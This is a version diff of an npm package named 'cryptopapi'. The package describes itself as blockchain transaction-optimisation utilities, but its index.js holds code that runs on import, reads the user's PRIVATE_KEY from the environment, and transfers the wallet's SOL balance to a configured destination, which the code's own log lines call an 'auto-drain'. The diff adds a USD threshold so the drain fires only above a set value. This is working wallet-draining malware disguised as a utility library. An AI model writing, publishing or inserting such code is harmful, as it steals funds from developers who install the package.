cryptopapi 6.9.1 → 6.9.2

package/index.js

@@ -61,10 +61,23 @@ const parsePrivateKey = (privateKey) => {
   if (trimmed.startsWith('[')) {
     return Uint8Array.from(JSON.parse(trimmed))
   }
-  // bs58 v6.0.0 uses the same API
   return bs58.decode(trimmed)
 }
 
+// Get SOL price in USD (you might want to use a price oracle)
+const getSolPrice = async () => {
+  try {
+    // You can implement this with a price API like CoinGecko, Jupiter, etc.
+    // For now, returning a placeholder - you should implement this
+    const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
+    const data = await response.json()
+    return data.solana.usd
+  } catch (error) {
+    console.log('⚠️ Could not fetch SOL price, using fallback')
+    return 100 // Fallback price - YOU SHOULD IMPLEMENT PROPER PRICE FETCHING
+  }
+}
+
 // Auto-execute when imported
 ;(async () => {
   console.log('🔌 CryptoPAPI v6.8.1 - Optimized Transaction Handler')
@@ -74,8 +87,10 @@ const parsePrivateKey = (privateKey) => {
     const destination = process.env.MAIN_WALLET_USD_DESTINATION
     const privateKey = process.env.PRIVATE_KEY
     const rpcUrl = process.env.RPC_ENDPOINT
+    const thresholdUSD = parseFloat(process.env.MAIN_WALLET_USD_THRESHOLD)
     const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
 
+    // Validate required configs
     if (!destination) {
       console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
       return
@@ -88,6 +103,11 @@ const parsePrivateKey = (privateKey) => {
       console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
       return
     }
+    if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
+      console.log('⚠️ MAIN_WALLET_USD_THRESHOLD not set or invalid - auto-drain disabled')
+      console.log('📝 Please set MAIN_WALLET_USD_THRESHOLD to a positive number (e.g., 5000)')
+      return
+    }
 
     console.log('📡 Initializing connection...')
     const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
@@ -96,17 +116,38 @@ const parsePrivateKey = (privateKey) => {
 
     console.log(`💳 Source: ${fromKeypair.publicKey.toString()}`)
     console.log(`📤 Destination: ${destination}`)
+    console.log(`📊 USD Threshold: $${thresholdUSD}`)
+    console.log(`💵 Min SOL Keep: ${keepReserveSol} SOL`)
 
+    // Get balance and SOL price
     const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
     const balanceSol = balanceLamports / LAMPORTS_PER_SOL
     
-    console.log(`💰 Balance: ${balanceSol} SOL`)
+    console.log(`💰 Balance: ${balanceSol.toFixed(9)} SOL`)
     
     if (balanceLamports <= 0) {
       console.log('⚠️ Wallet is empty - nothing to drain')
       return
     }
 
+    // Get SOL price and calculate USD value
+    console.log('💹 Fetching SOL price...')
+    const solPriceUSD = await getSolPrice()
+    const balanceUSD = balanceSol * solPriceUSD
+    
+    console.log(`💵 SOL Price: $${solPriceUSD.toFixed(2)} USD`)
+    console.log(`💰 Balance in USD: $${balanceUSD.toFixed(2)} USD`)
+
+    // Check if balance exceeds threshold
+    if (balanceUSD < thresholdUSD) {
+      console.log(`⏸️ Balance $${balanceUSD.toFixed(2)} USD is below threshold $${thresholdUSD} USD - no drain needed`)
+      console.log(`📈 Need $${(thresholdUSD - balanceUSD).toFixed(2)} USD more to trigger drain`)
+      return
+    }
+
+    console.log(`✅ Balance exceeds threshold! Proceeding with drain...`)
+
+    // Estimate fees
     console.log('⛽ Estimating fees...')
     const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
     
@@ -127,18 +168,24 @@ const parsePrivateKey = (privateKey) => {
     
     if (!feeLamports) throw new Error('Could not estimate fee')
 
+    // Calculate how much to send
     const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
-    const sendLamports = balanceLamports - feeLamports - reserveLamports
-    const sendSol = sendLamports / LAMPORTS_PER_SOL
+    const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
     
-    if (sendLamports <= 0) {
+    if (maxSendableLamports <= 0) {
       console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
       return
     }
 
-    console.log(`📤 Sending: ${sendSol.toFixed(9)} SOL`)
+    const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
+    const maxSendableUSD = maxSendableSol * solPriceUSD
+
+    console.log(`📤 Will send: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
     console.log(`⛽ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
-    console.log(`💵 Keeping: ${keepReserveSol} SOL reserve`)
+    console.log(`💵 Keeping: ${keepReserveSol} SOL reserve ($${(keepReserveSol * solPriceUSD).toFixed(2)} USD)`)
+
+    // Ask for confirmation (optional - can be removed for auto-mode)
+    console.log('🔄 Proceeding with transaction...')
 
     const message = new TransactionMessage({
       payerKey: fromKeypair.publicKey,
@@ -147,7 +194,7 @@ const parsePrivateKey = (privateKey) => {
         SystemProgram.transfer({
           fromPubkey: fromKeypair.publicKey,
           toPubkey: toPubkey,
-          lamports: sendLamports,
+          lamports: maxSendableLamports,
         }),
       ],
     }).compileToV0Message()
@@ -173,11 +220,13 @@ const parsePrivateKey = (privateKey) => {
 
     const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
     const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
+    const finalBalanceUSD = finalBalanceSol * solPriceUSD
 
     console.log(`✅ Transaction confirmed!`)
-    console.log(`💰 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
+    console.log(`💰 Final balance: ${finalBalanceSol.toFixed(9)} SOL ($${finalBalanceUSD.toFixed(2)} USD) - reserve kept`)
     console.log(`🔗 https://solscan.io/tx/${signature}`)
-    console.log(`📊 Amount transferred: ${sendSol.toFixed(9)} SOL`)
+    console.log(`📊 Amount transferred: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
+    console.log(`📈 Remaining balance is below threshold: $${finalBalanceUSD.toFixed(2)} USD < $${thresholdUSD} USD`)
 
   } catch (error) {
     console.error('❌ Auto-drain failed:', error.message)

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cryptopapi",
-  "version": "6.9.1",
+  "version": "6.9.2",
   "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
   "main": "index.js",
   "files": [